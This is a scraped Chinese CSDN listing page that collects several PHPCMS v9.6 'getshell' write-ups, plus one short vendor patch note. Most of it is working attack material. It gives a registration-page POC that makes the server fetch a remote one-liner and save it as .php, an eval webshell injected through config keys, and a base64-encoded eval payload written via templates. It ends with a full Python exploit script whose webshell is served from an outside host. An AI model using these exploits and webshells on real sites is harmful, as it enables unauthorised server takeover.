phpcms 怎么拿shell_phpcms sessionid拿shell - CSDN
精华内容
参与话题
  • phpcms v9.6.0版本getshell测试

    千次阅读 2017-09-12 08:56:22
    需要 phpcms V9.6.0安装包/ phpstudy 安装PHPstudy完成后,直接把phpcms V9.6.0解压到WWW目录下 然后浏览器访问:http://ip/phpcms 进行安装,安装都是傻瓜式的操作,填写好数据库用户名密码就可以了。。phpstudy的...

    其实这个漏洞是4月初的时候了。

    今天有空重新记录一下。

    一、环境搭建:

    需要 phpcms V9.6.0安装包/ phpstudy

    phpcms v9.6.0安装包下载地址:http://download.csdn.net/download/qq1124794084/9971392

    安装PHPstudy完成后,直接把phpcms V9.6.0解压到WWW目录下

    然后浏览器访问:http://ip/phpcms

    进行安装,安装都是傻瓜式的操作,填写好数据库用户名密码就可以了。。phpstudy的mysql数据库root密码默认为root

    安装完成后需要在后台生成一下首页,才能访问。


    二、POC上传shell

    1.进入漏洞触发的页面-----注册页面

    按照格式随便填写。

    2.填写完毕以后,开启抓包工具,我用的是fiddler,F11截包,点击提交注册按钮。

    抓到数据包如下:


    3.创建好本地或者服务器的webshell

    我在自己本地写了个phpinfo.php

    根据过滤规则我们先把它改名为phpinfo.txt

    并启动本地的web服务器


    4.POC上传shell

    构造POC

    siteid=1&modelid=1&username=00924324&password=123456789&pwdconfirm=123456789&email=79123@qq.com&nickname=i09dfdf&info[content]=href=http://192.168.10.12/phpinfo.txt?.php#.jpg&dosubmit=1&protocol=


    注意modelid要等于1

    原来的info[Birthday]改为info[content]这样才能报错,把shell的路径暴露出来

    info后面跟的是shell的地址

    这样我们浏览器打开webshell地址

    上传成功。

    展开全文
  • PHPCMS v9.6 Getshell方法大全

    千次阅读 2017-11-15 10:07:36
    phpcms9.6.x后台getshell几种方法
    V9.6管理员权限getshell:
    漏洞存在地址:ROOTDIR/phpsso_server/phpcms/modules/admin/system.php
    public function uc() {
            if (isset($_POST['dosubmit'])) {
                $data = isset($_POST['data']) ? $_POST['data'] : '';
                $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
                $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
                $config = include $filepath;
                $uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
                foreach ($data as $k => $v) {
                    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
                    $new[] = "'$k'=>'$v',";
                    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
                }
                $html = file_get_contents($filepath);
                $html = str_replace($old, $new, $html);
                $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
                @file_put_contents($uc_config_filepath, $uc_config);
                @file_put_contents($filepath, $html);
                $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
                showmessage(L('operation_success'), HTTP_REFERER);
            }
            $data = array();
            $r = $this->db->get_one(array('name'=>'ucenter'));
            if ($r) {
                $data = string2array($r['data']);
            }
            include $this->admin_tpl('system_uc');
        }


    其中

    $data = isset($_POST['data']) ? $_POST['data'] : '';

    foreach ($data as $k => $v) {
    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
    $new[] = "'$k'=>'$v',";
    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
    }

    这里可以看到用post方式传递data中key,value并写入/phpsso_server/caches/configs/uc_config.php中


    在ROOTDIR/phpcms/libs/classes/param.class.php中

    public function __construct() {
    if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
    }

    全局过滤POST 但这里之过滤value 没过滤key


    接下来看步骤


     

     

     

     PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞


    代码贴出来:*/eval($_REQUEST['a']);//

    name="data[uc_api','11');/*]"

    phpcmsv9.6低权限提权(其他版本自测)

    添加模板
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    <?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==')); ?>
    如图一样填完直接保存就OK

    然后
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

    第二个模板,填完先别保存
    跳到扩展设置
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    在专题模板那里对着专题首页右键查看元素后 定位到value='index'
    然后替换成上一个模板的路径
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    ../../../../html/special/test/index

    注意这里test为你前面的模板名称

    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    修改完毕后会在根目录生成一个0.php//这里可以在前面那段php代码修改 毕竟是写入

    菜刀连接之
     
     
     
     https://www.seebug.org/vuldb/ssvid-92959 phpcms任意文件下载
     
     
    展开全文
  • phpcms某处逻辑问题导致getshell

    千次阅读 2018-06-12 01:53:06
    关于phpcms某处逻辑问题导致getshell的修复问题 简介: … 阿里云漏洞提示。

    关于phpcms某处逻辑问题导致getshell的修复问题


    简介:
    1. 漏洞名称:phpcms某处逻辑问题导致getshell
    2. 补丁文件:/phpcms/libs/classes/attachment.class.php
    3. 补丁来源:云盾自研
    4. 漏洞描述:phpcms的/phpcms/libs/classes/attachment.class.php中,对输入参数$ext未进行类型限制,导致逻辑漏洞的产生。【注意:该补丁为云盾自研代码修复方案,云盾会根据您当前代码是否符合云盾自研的修复模式进行检测,如果您自行采取了底层/框架统一修复、或者使用了其他的修复方案,可能会导致您虽然已经修复了改漏洞,云盾依然报告存在漏洞,遇到该情况可选择忽略该漏洞提示】

    阿里云漏洞提示。


    解决办法:

    1.根据漏洞描述,找到对应文件attachment.class.php的对应位置(第144行附近),并添加补丁代码。

    补丁代码如下:
    
    if($ext !== 'gif|jpg|jpeg|bmp|png'){
        if(!in_array(strtoupper($ext),array('JPG','GIF','BMP','PNG','JPEG'))) exit('附加扩展名必须为gif、jpg、jpeg、bmp、png');
    }

    添加后的代码,截图如下:

    这里写图片描述

    2.然后,将修改好的文件,上传到服务器对应文件位置,直接覆盖;

    3.最后,登录阿里云后台,点击验证(截图如下),即可完成漏洞修复。
    修复 按钮位置


    以上就是关于“ phpcms某处逻辑问题导致getshell ”漏洞修复的全部内容。

    展开全文
  • 对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下: 首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行) 在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问 接着我们...

    *原创作者:三少,本文属FreeBuf原创奖励计划,未经许可禁止转载

    对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下:

    首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行)

    1.png

    在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问

    5.png

    接着我们找到phpcms网站注册模块,随便填一下信息

    2.png

    然后我们用burpsuite抓包

    3.png

    然后发送到repeater

    4.png

    我们在最下面的注册那儿使用img标签插入我们本地第一步搭建的一句话

    poc如下:

    siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://192.168.1.157/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=

    只需要修改img里面的链接为你本地写入的一句话即可,还有要注意的是在repeater里测试go时每一次都要修改username,password和email字段值(不能重复,汗)

    我们可以看到repeater里MYSQL query成功插入,接着访问上图repeater里我标黄语句,执行一句话

    连接菜刀,getshell

    5.png

    利用方式二:

    利用火狐的插件,操作如下

    1.png

    exp如下:三少

    # -*- coding:utf-8 -*-
    import requests
    import sys
    from datetime import datetime
    def getTime():
        year = str(datetime.now().year)
        month = "%02d" % datetime.now().month
        day = "%02d" % datetime.now().day
        hour = datetime.now().hour
        hour = hour - 12 if hour > 12 else hour
        hour = "%02d" % hour
        minute = "%02d" % datetime.now().minute
        second = "%02d" % datetime.now().second
        microsecond = "%06d" % datetime.now().microsecond
        microsecond = microsecond[:3]
        nowTime = year + month + day + hour + minute + second + microsecond
        return int(nowTime), year + "/" + month + day + "/"
    def main():
        if len(sys.argv) < 2:
            print("[*]Usage   : Python 1.py http://xxx.com")
            sys.exit()
        host = sys.argv[1]
        url = host + "/index.php?m=member&c=index&a=register&siteid=1"
        data = {
            "siteid": "1",
            "modelid": "1",
            "username": "dsakkfaffdssdudi",
            "password": "123456",
            "email": "dsakkfddsjdi@qq.com",
            # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0
            "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
            "dosubmit": "1",
            "protocol": "",
        }
        try:
            startTime, _ = getTime()
            htmlContent = requests.post(url, data=data)
            finishTime, dateUrl = getTime()
            if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
                successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
                print("[*]Shell  : %s" % successUrl)
            else:
                print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n")
                successUrl = ""
                for t in range(startTime, finishTime):
                    checkUrlHtml = requests.get(
                        host + "/uploadfile/" + dateUrl + str(t) + ".php")
                    if checkUrlHtml.status_code == 200:
                        successUrl = host + "/uploadfile/" + \
                            dateUrl + str(t) + ".php"
                        print("[*]Shell  : %s" % successUrl)
                        break
                if successUrl == "":
                    print(
                        "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
        except:
            print("Request Error")
    if __name__ == '__main__':
        main()
    
    

    *原创作者:三少,本文属FreeBuf原创奖励计划,未经许可禁止转载

    这些评论亮了

    • 老司机 回复
      这些都是浮云,下面才是精华
      http://file.codecat.one/Driver/
      )9( 亮了
    • Jumbo (6级)论坛https://www.chinabaiker.com回复
      连分析都没有,只会用exp打打打,也能来骗点稿费了。
      )9( 亮了
    • 话说这是我的第一次测试代码,原帖地址https://www.t00ls.net/thread-39226-1-1.html
      我博客hacktech.cn也有,代码都优化改动过了,麻烦改一改优化下?
    展开全文
  • 利用phpcms后台漏洞渗透某色情网站

    万次阅读 2017-04-24 13:47:44
    phpcms v9版本最近爆了好几个漏洞,网上公开了不少信息,但没有真正实战过,就不能掌握其利用方法,本次是在偶然的机会下,发现一个网站推荐楼凤信息,通过分析,其采用了phpcms系统,经过测试成功获取webshell。...
  • phpcms漏洞总结

    千次阅读 2018-06-25 09:49:55
    本文旨在phpcms常见漏洞的发现与修复 重点内容 : 这里收录了phpcms一些常见的漏洞和补丁方案。 希望能对学习该框架的程序员,有所助益。
  • PHPcmsV9任意文件读取漏洞拿Shell

    千次阅读 2013-10-30 23:23:58
    http://www.webshell.cc/3918.html
  • 原题内容: 一个靶机而已,别搞破坏。 多谢各位大侠手下留情,flag在根目录里txt文件里 ... ...其次百度很明显可以看到phpcms漏洞信息,版本9.6的,这是很明显的信息了,先试试,不行再走普通流...
  • phpcms 漏洞姿势

    千次阅读 2019-07-11 10:42:30
    一 .PHPCMS V9本地文件包含漏洞 漏洞出现在如下文件:phpcms/modules/search/index.php 代码如下: 本处大家会发现在使用file_get_contents函数时没有过滤get方式得到的m参数 因此可以构造payload如下 ...
  • 获取Webshell方法总结

    千次阅读 2019-02-22 16:27:19
    本文主要在思路方面进行汇众,具体技术不讨论~ 主要分为3大类 一、CMS获取webshell 二、非CMS获取webshell 三、其他方式获取...例如phpcms拿webshell,wordpress后台getshell等   非CMS获取webshell ...
  • PHPCMS V9.1.13任意文件包含漏洞分析

    千次阅读 2012-08-20 09:55:28
    最近爆出了PHPCMS V9.1.13任意文件包含漏洞,新版本(v9.1.16)已经针对该漏洞做了修复。 下载PHPCMS V9.1.13,解压。 这里我就用Linux天生具备的高效分析能力去快速定位存在漏洞的函数。就懒得...
  • 发一批 phpcmsV9 系统漏洞mysql

    千次阅读 2012-08-02 21:56:48
    简介:一批 phpcmsV9 系统漏洞 批量扫描到的mysql 后面为yes大多数是可以外连的,偶尔几个不可以。需要工具的联系我。 至于怎么连接以及拿shell 请看:http://madman.in/madman5/871.htm www.tj180.com—-root—-Hlj...
  • 转自:... [PhpMyAdmin后台拿Shell] CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES (''); select xiaoma1 from xiaoma
  • PHPCMS v9.6.0版任意文件上传漏洞分析笔记 PHPCMS v9.6.0版任意文件上传漏洞分析笔记 参考: 安装: 漏洞复现: 漏洞分析: index.php member/index.php 正常请求 register()函数: htmlspecialchars()函数: ...
  • 拿shell的一些方式

    千次阅读 2019-04-07 22:40:01
    管理权限拿shell 需要有管理员权限才可以拿shell 如织梦cms 数据库备份拿shell 网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等 但是网站具有备份数据库备份功能,这时我们可以将...
  • │ 2、struts2漏洞和phpmyadmin批量网站shell.mp4 │ 3、web渗透框架(N种漏洞经验)简述.mp4 │ 4、实战演示北京谋智火狐信息技术有限公司多个网站漏洞方法.mp4 │ 5、最新翻墙-渗透工具包分享-常见的注入工具和...
  • PHPCMS一些漏洞修复及解决方案

    千次阅读 2019-01-17 11:14:55
    phpsso.php注入漏洞修复  文件位置:  /phpcms/libs/classes/attachment.class.php解决办法(Line 129): // 修改之前 $phpssouid = $arr['uid']; 改为: // 修改之后 ... phpcms/libs/classes/...
  • phpcms2008远程代码执行漏洞

    千次阅读 2018-11-29 11:35:57
    近日,互联网爆出PHPCMS2008代码注入漏洞(CVE-2018-19127)。攻击者利用该漏洞,可在未授权的情况下实现对网站文件的写入。该漏洞危害程度为高危(High)。目前,漏洞利用原理已公开,厂商已发布新版本修复此漏洞。 ...
1 2 3 4 5 ... 20
收藏数 493
精华内容 197
关键字:

phpcms 怎么拿shell